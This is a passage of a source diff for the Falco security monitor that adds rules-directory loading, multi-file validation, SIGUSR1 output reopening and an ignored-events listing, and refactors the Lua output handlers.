+			std::cerr << "Could not get read contents of directory " << path << ": " << strerror(errno) << std::endl;
+			exit(-1);
+		}
+
+		for (struct dirent *ent = readdir(dir); ent; ent = readdir(dir))
+		{
+			string efile = path + "/" + ent->d_name;
+
+			rc = stat(efile.c_str(), &st);
+
+			if(rc != 0)
+			{
+				std::cerr << "Could not get info on rules file " << efile << ": " << strerror(errno) << std::endl;
+				exit(-1);
+			}
+
+			if(st.st_mode & S_IFREG)
+			{
+				dir_filenames.push_back(efile);
+			}
+		}
+
+		closedir(dir);
+
+		std::sort(dir_filenames.begin(),
+			  dir_filenames.end());
+
+		for (string &ent : dir_filenames)
+		{
+			rules_filenames.push_back(ent);
+		}
+	}
+	else
+	{
+		// Assume it's a file and just add to
+		// rules_filenames. If it can't be opened/etc that
+		// will be reported later..
+		rules_filenames.push_back(path);
+	}
+}
+
 static bool split(const string &str, char delim, pair<string,string> &parts)
 {
 	size_t pos;

userspace/falco/configuration.h

@@ -165,8 +165,11 @@ class falco_configuration
 	void init(std::string conf_filename, std::list<std::string> &cmdline_options);
 	void init(std::list<std::string> &cmdline_options);
 
+	static void read_rules_file_directory(const string &path, list<string> &rules_filenames);
+
 	std::list<std::string> m_rules_filenames;
 	bool m_json_output;
+	bool m_json_include_output_property;
 	std::vector<falco_outputs::output_config> m_outputs;
 	uint32_t m_notifications_rate;
 	uint32_t m_notifications_max_burst;

userspace/falco/falco.cpp

@@ -22,6 +22,8 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 #include <fstream>
 #include <set>
 #include <list>
+#include <vector>
+#include <algorithm>
 #include <string>
 #include <signal.h>
 #include <fcntl.h>
@@ -32,6 +34,7 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 #include <sinsp.h>
 
 #include "logger.h"
+#include "utils.h"
 
 #include "configuration.h"
 #include "falco_engine.h"
@@ -39,6 +42,8 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 #include "statsfilewriter.h"
 
 bool g_terminate = false;
+bool g_reopen_outputs = false;
+
 //
 // Helper functions
 //
@@ -47,6 +52,11 @@ static void signal_callback(int signal)
 	g_terminate = true;
 }
 
+static void reopen_outputs(int signal)
+{
+	g_reopen_outputs = true;
+}
+
 //
 // Program help
 //
@@ -99,8 +109,9 @@ static void usage()
 	   "                               of %%container.info in rule output fields\n"
 	   "                               See the examples section below for more info.\n"
 	   " -P, --pidfile <pid_file>      When run as a daemon, write pid to specified file\n"
-           " -r <rules_file>               Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
-	   "                               Can be specified multiple times to read from multiple files.\n"
+           " -r <rules_file>               Rules file/directory (defaults to value set in configuration file,\n"
+           "                               or /etc/falco_rules.yaml). Can be specified multiple times to read\n"
+           "                               from multiple files/directories.\n"
 	   " -s <stats_file>               If specified, write statistics related to falco's reading/processing of events\n"
 	   "                               to this file. (Only useful in live mode).\n"
 	   " -T <tag>                      Disable any rules with a tag=<tag>. Can be specified multiple times.\n"
@@ -111,7 +122,8 @@ static void usage()
 	   "                               single line emitted by falco to be flushed, which generates higher CPU\n"
 	   "                               usage but is useful when piping those outputs into another process\n"
 	   "                               or into a script.\n"
-	   " -V,--validate <rules_file>    Read the contents of the specified rules file and exit\n"
+	   " -V,--validate <rules_file>    Read the contents of the specified rules(s) file and exit\n"
+	   "                               Can be specified multiple times to validate multiple files.\n"
 	   " -v                            Verbose output.\n"
            " --version                     Print version number.\n"
 	   "\n"
@@ -142,7 +154,8 @@ uint64_t do_inspect(falco_engine *engine,
 		    falco_outputs *outputs,
 		    sinsp* inspector,
 		    uint64_t duration_to_tot_ns,
-		    string &stats_filename)
+		    string &stats_filename,
+		    bool all_events)
 {
 	uint64_t num_evts = 0;
 	int32_t res;
@@ -170,6 +183,12 @@ uint64_t do_inspect(falco_engine *engine,
 
 		writer.handle();
 
+		if(g_reopen_outputs)
+		{
+			outputs->reopen_outputs();
+			g_reopen_outputs = false;
+		}
+
 		if (g_terminate)
 		{
 			break;
@@ -203,8 +222,7 @@ uint64_t do_inspect(falco_engine *engine,
 			}
 		}
 
-		if(!inspector->is_debug_enabled() &&
-			ev->get_category() & EC_INTERNAL)
+		if(!ev->falco_consider() && !all_events)
 		{
 			continue;
 		}
@@ -226,6 +244,47 @@ uint64_t do_inspect(falco_engine *engine,
 	return num_evts;
 }
 
+static void print_all_ignored_events(sinsp *inspector)
+{
+	sinsp_evttables* einfo = inspector->get_event_info_tables();
+	const struct ppm_event_info* etable = einfo->m_event_info;
+	const struct ppm_syscall_desc* stable = einfo->m_syscall_info_table;
+
+	std::set<string> ignored_event_names;
+	for(uint32_t j = 0; j < PPM_EVENT_MAX; j++)
+	{
+		if(!sinsp::falco_consider_evtnum(j))
+		{
+			std::string name = etable[j].name;
+			// Ignore event names NA*
+			if(name.find("NA") != 0)
+			{
+				ignored_event_names.insert(name);
+			}
+		}
+	}
+
+	for(uint32_t j = 0; j < PPM_SC_MAX; j++)
+	{
+		if(!sinsp::falco_consider_syscallid(j))
+		{
+			std::string name = stable[j].name;
+			// Ignore event names NA*
+			if(name.find("NA") != 0)
+			{
+				ignored_event_names.insert(name);
+			}
+		}
+	}
+
+	printf("Ignored Event(s):");
+	for(auto it : ignored_event_names)
+	{
+		printf(" %s", it.c_str());
+	}
+	printf("\n");
+}
+
 //
 // ARGUMENT PARSING AND PROGRAM SETUP
 //
@@ -245,7 +304,7 @@ int falco_init(int argc, char **argv)
 	string pidfilename = "/var/run/falco.pid";
 	bool describe_all_rules = false;
 	string describe_rule = "";
-	string validate_rules_file = "";
+	list<string> validate_rules_filenames;
 	string stats_filename = "";
 	bool verbose = false;
 	bool all_events = false;
@@ -255,6 +314,7 @@ int falco_init(int argc, char **argv)
 	string output_format = "";
 	bool replace_container_info = false;
 	int duration_to_tot = 0;
+	bool print_ignored_events = false;
 
 	// Used for writing trace files
 	int duration_seconds = 0;
@@ -282,8 +342,9 @@ int falco_init(int argc, char **argv)
 		{"pidfile", required_argument, 0, 'P' },
 		{"unbuffered", no_argument, 0, 'U' },
 		{"version", no_argument, 0, 0 },
-		{"validate", required_argument, 0, 0 },
+		{"validate", required_argument, 0, 'V' },
 		{"writefile", required_argument, 0, 'w' },
+		{"ignored-events", no_argument, 0, 'i'},
 
 		{0, 0, 0, 0}
 	};
@@ -300,7 +361,7 @@ int falco_init(int argc, char **argv)
 		// Parse the args
 		//
 		while((op = getopt_long(argc, argv,
-                                        "hc:AdD:e:k:K:Ll:m:M:o:P:p:r:s:T:t:UvV:w:",
+                                        "hc:AdD:e:ik:K:Ll:m:M:o:P:p:r:s:T:t:UvV:w:",
                                         long_options, &long_index)) != -1)
 		{
 			switch(op)
@@ -326,6 +387,9 @@ int falco_init(int argc, char **argv)
 				k8s_api = new string();
 				mesos_api = new string();
 				break;
+			case 'i':
+				print_ignored_events = true;
+				break;
 			case 'k':
 				k8s_api = new string(optarg);
 				break;
@@ -377,7 +441,7 @@ int falco_init(int argc, char **argv)
 				}
 				break;
 			case 'r':
-				rules_filenames.push_back(optarg);
+				falco_configuration::read_rules_file_directory(string(optarg), rules_filenames);
 				break;
 			case 's':
 				stats_filename = optarg;
@@ -396,7 +460,7 @@ int falco_init(int argc, char **argv)
 				verbose = true;
 				break;
 			case 'V':
-				validate_rules_file = optarg;
+				validate_rules_filenames.push_back(optarg);
 				break;
 			case 'w':
 				outfile = optarg;
@@ -416,12 +480,20 @@ int falco_init(int argc, char **argv)
 			return EXIT_SUCCESS;
 		}
 
-
 		inspector = new sinsp();
+
+		if(print_ignored_events)
+		{
+			print_all_ignored_events(inspector);
+			delete(inspector);
+			return EXIT_SUCCESS;
+		}
+
 		engine = new falco_engine();
 		engine->set_inspector(inspector);
 		engine->set_extra(output_format, replace_container_info);
 
+
 		outputs = new falco_outputs();
 		outputs->set_inspector(inspector);
 
@@ -460,10 +532,17 @@ int falco_init(int argc, char **argv)
 			}
 		}
 
-		if(validate_rules_file != "")
+		if(validate_rules_filenames.size() > 0)
 		{
-			falco_logger::log(LOG_INFO, "Validating rules file: " + validate_rules_file + "...\n");
-			engine->load_rules_file(validate_rules_file, verbose, all_events);
+			falco_logger::log(LOG_INFO, "Validating rules file(s):\n");
+			for(auto file : validate_rules_filenames)
+			{
+				falco_logger::log(LOG_INFO, "   " + file + "\n");
+			}
+			for(auto file : validate_rules_filenames)
+			{
+				engine->load_rules_file(file, verbose, all_events);
+			}
 			falco_logger::log(LOG_INFO, "Ok\n");
 			goto exit;
 		}
@@ -495,13 +574,19 @@ int falco_init(int argc, char **argv)
 
 		if(config.m_rules_filenames.size() == 0)
 		{
-			throw std::invalid_argument("You must specify at least one rules file via -r or a rules_file entry in falco.yaml");
+			throw std::invalid_argument("You must specify at least one rules file/directory via -r or a rules_file entry in falco.yaml");
+		}
+
+		falco_logger::log(LOG_DEBUG, "Configured rules filenames:\n");
+		for (auto filename : config.m_rules_filenames)
+		{
+			falco_logger::log(LOG_DEBUG, string("   ") + filename + "\n");
 		}
 
 		for (auto filename : config.m_rules_filenames)
 		{
+			falco_logger::log(LOG_INFO, "Loading rules from file " + filename + ":\n");
 			engine->load_rules_file(filename, verbose, all_events);
-			falco_logger::log(LOG_INFO, "Parsed rules from file " + filename + "\n");
 		}
 
 		// You can't both disable and enable rules
@@ -539,12 +624,14 @@ int falco_init(int argc, char **argv)
 		}
 
 		outputs->init(config.m_json_output,
+			      config.m_json_include_output_property,
 			      config.m_notifications_rate, config.m_notifications_max_burst,
 			      config.m_buffered_outputs);
 
 		if(!all_events)
 		{
 			inspector->set_drop_event_flags(EF_DROP_FALCO);
+			inspector->start_dropping_mode(1);
 		}
 
 		if (describe_all_rules)
@@ -580,6 +667,13 @@ int falco_init(int argc, char **argv)
 			goto exit;
 		}
 
+		if(signal(SIGUSR1, reopen_outputs) == SIG_ERR)
+		{
+			fprintf(stderr, "An error occurred while setting SIGUSR1 signal handler.\n");
+			result = EXIT_FAILURE;
+			goto exit;
+		}
+
 		if (scap_filename.size())
 		{
 			inspector->open(scap_filename);
@@ -724,7 +818,8 @@ int falco_init(int argc, char **argv)
 				      outputs,
 				      inspector,
 				      uint64_t(duration_to_tot*ONE_SECOND_IN_NS),
-				      stats_filename);
+				      stats_filename,
+				      all_events);
 
 		duration = ((double)clock()) / CLOCKS_PER_SEC - duration;
 

userspace/falco/falco_outputs.cpp

@@ -52,7 +52,9 @@ falco_outputs::~falco_outputs()
 	}
 }
 
-void falco_outputs::init(bool json_output, uint32_t rate, uint32_t max_burst, bool buffered)
+void falco_outputs::init(bool json_output,
+			 bool json_include_output_property,
+			 uint32_t rate, uint32_t max_burst, bool buffered)
 {
 	// The engine must have been given an inspector by now.
 	if(! m_inspector)
@@ -65,7 +67,7 @@ void falco_outputs::init(bool json_output, uint32_t rate, uint32_t max_burst, bo
 	// Note that falco_formats is added to both the lua state used
 	// by the falco engine as well as the separate lua state used
 	// by falco outputs.
-	falco_formats::init(m_inspector, m_ls, json_output);
+	falco_formats::init(m_inspector, m_ls, json_output, json_include_output_property);
 
 	falco_logger::init(m_ls);
 
@@ -140,3 +142,19 @@ void falco_outputs::handle_event(sinsp_evt *ev, string &rule, falco_common::prio
 	}
 
 }
+
+void falco_outputs::reopen_outputs()
+{
+	lua_getglobal(m_ls, m_lua_output_reopen.c_str());
+
+	if(!lua_isfunction(m_ls, -1))
+	{
+		throw falco_exception("No function " + m_lua_output_reopen + " found. ");
+	}
+
+	if(lua_pcall(m_ls, 0, 0, 0) != 0)
+	{
+		const char* lerr = lua_tostring(m_ls, -1);
+		throw falco_exception(string(lerr));
+	}
+}

userspace/falco/falco_outputs.h

@@ -41,7 +41,9 @@ public:
 		std::map<std::string, std::string> options;
 	};
 
-	void init(bool json_output, uint32_t rate, uint32_t max_burst, bool buffered);
+	void init(bool json_output,
+		  bool json_include_output_property,
+		  uint32_t rate, uint32_t max_burst, bool buffered);
 
 	void add_output(output_config oc);
 
@@ -51,6 +53,8 @@ public:
 	//
 	void handle_event(sinsp_evt *ev, std::string &rule, falco_common::priority_type priority, std::string &format);
 
+	void reopen_outputs();
+
 private:
 	bool m_initialized;
 
@@ -62,5 +66,6 @@ private:
 	std::string m_lua_add_output = "add_output";
 	std::string m_lua_output_event = "output_event";
 	std::string m_lua_output_cleanup = "output_cleanup";
+	std::string m_lua_output_reopen = "output_reopen";
 	std::string m_lua_main_filename = "output.lua";
 };

userspace/falco/lua/output.lua

@@ -20,8 +20,8 @@ local mod = {}
 
 local outputs = {}
 
-function mod.stdout(priority, priority_num, buffered, msg)
-   if buffered == 0 then
+function mod.stdout(priority, priority_num, msg, options)
+   if options.buffered == 0 then
       io.stdout:setvbuf 'no'
    end
    print (msg)
@@ -31,6 +31,10 @@ function mod.stdout_cleanup()
    io.stdout:flush()
 end
 
+-- Note: not actually closing/reopening stdout
+function mod.stdout_reopen(options)
+end
+
 function mod.file_validate(options)
    if (not type(options.filename) == 'string') then
       error("File output needs to be configured with a valid filename")
@@ -44,73 +48,98 @@ function mod.file_validate(options)
 
 end
 
-function mod.file(priority, priority_num, buffered, msg, options)
-   if options.keep_alive == "true" then
-      if file == nil then
-	 file = io.open(options.filename, "a+")
-	 if buffered == 0 then
-	    file:setvbuf 'no'
-	 end
+function mod.file_open(options)
+   if ffile == nil then
+      ffile = io.open(options.filename, "a+")
+      if options.buffered == 0 then
+	 ffile:setvbuf 'no'
       end
+   end
+end
+
+function mod.file(priority, priority_num, msg, options)
+   if options.keep_alive == "true" then
+      mod.file_open(options)
    else
-      file = io.open(options.filename, "a+")
+      ffile = io.open(options.filename, "a+")
    end
 
-   file:write(msg, "\n")
+   ffile:write(msg, "\n")
 
    if options.keep_alive == nil or
-      options.keep_alive ~= "true" then
-	 file:close()
-	 file = nil
+          options.keep_alive ~= "true" then
+      ffile:close()
+      ffile = nil
    end
 end
 
 function mod.file_cleanup()
-   if file ~= nil then
-      file:flush()
-      file:close()
-      file = nil
+   if ffile ~= nil then
+      ffile:flush()
+      ffile:close()
+      ffile = nil
    end
 end
 
-function mod.syslog(priority, priority_num, buffered, msg, options)
+function mod.file_reopen(options)
+   if options.keep_alive == "true" then
+      mod.file_cleanup()
+      mod.file_open(options)
+   end
+end
+
+function mod.syslog(priority, priority_num, msg, options)
    falco.syslog(priority_num, msg)
 end
 
 function mod.syslog_cleanup()
 end
 
-function mod.program(priority, priority_num, buffered, msg, options)
+function mod.syslog_reopen()
+end
+
+function mod.program_open(options)
+   if pfile == nil then
+      pfile = io.popen(options.program, "w")
+      if options.buffered == 0 then
+	 pfile:setvbuf 'no'
+      end
+   end
+end
+
+function mod.program(priority, priority_num, msg, options)
    -- XXX Ideally we'd check that the program ran
    -- successfully. However, the luajit we're using returns true even
    -- when the shell can't run the program.
 
    -- Note: options are all strings
    if options.keep_alive == "true" then
-      if file == nil then
-	 file = io.popen(options.program, "w")
-	 if buffered == 0 then
-	    file:setvbuf 'no'
-	 end
-      end
+      mod.program_open(options)
    else
-      file = io.popen(options.program, "w")
+      pfile = io.popen(options.program, "w")
    end
 
-   file:write(msg, "\n")
+   pfile:write(msg, "\n")
 
    if options.keep_alive == nil or
-      options.keep_alive ~= "true" then
-	 file:close()
-	 file = nil
+          options.keep_alive ~= "true" then
+      pfile:close()
+      pfile = nil
    end
 end
 
 function mod.program_cleanup()
-   if file ~= nil then
-      file:flush()
-      file:close()
-      file = nil
+   if pfile ~= nil then
+      pfile:flush()
+      pfile:close()
+      pfile = nil
+   end
+end
+
+function mod.program_reopen(options)
+   if options.keep_alive == "true" then
+      mod.program_cleanup()
+      mod.program_open(options)
    end
 end
 
@@ -126,7 +155,7 @@ function output_event(event, rule, priority, priority_num, format)
    msg = formats.format_event(event, rule, priority, format)
 
    for index,o in ipairs(outputs) do
-      o.output(priority, priority_num, o.buffered, msg, o.config)
+      o.output(priority, priority_num, msg, o.options)
    end
 end
 
@@ -137,20 +166,33 @@ function output_cleanup()
    end
 end
 
-function add_output(output_name, buffered, config)
+function output_reopen()
+   for index,o in ipairs(outputs) do
+      o.reopen(o.options)
+   end
+end
+
+function add_output(output_name, buffered, options)
    if not (type(mod[output_name]) == 'function') then
       error("rule_loader.add_output(): invalid output_name: "..output_name)
    end
 
    -- outputs can optionally define a validation function so that we don't
-   -- find out at runtime (when an event finally matches a rule!) that the config is invalid
+   -- find out at runtime (when an event finally matches a rule!) that the options are invalid
    if (type(mod[output_name.."_validate"]) == 'function') then
-     mod[output_name.."_validate"](config)
+     mod[output_name.."_validate"](options)
    end
 
+   if options == nil then
+      options = {}
+   end
+
+   options.buffered = buffered
+
    table.insert(outputs, {output = mod[output_name],
 			  cleanup = mod[output_name.."_cleanup"],
-			  buffered=buffered, config=config})
+			  reopen = mod[output_name.."_reopen"],
+			  options=options})
 end
 
 return mod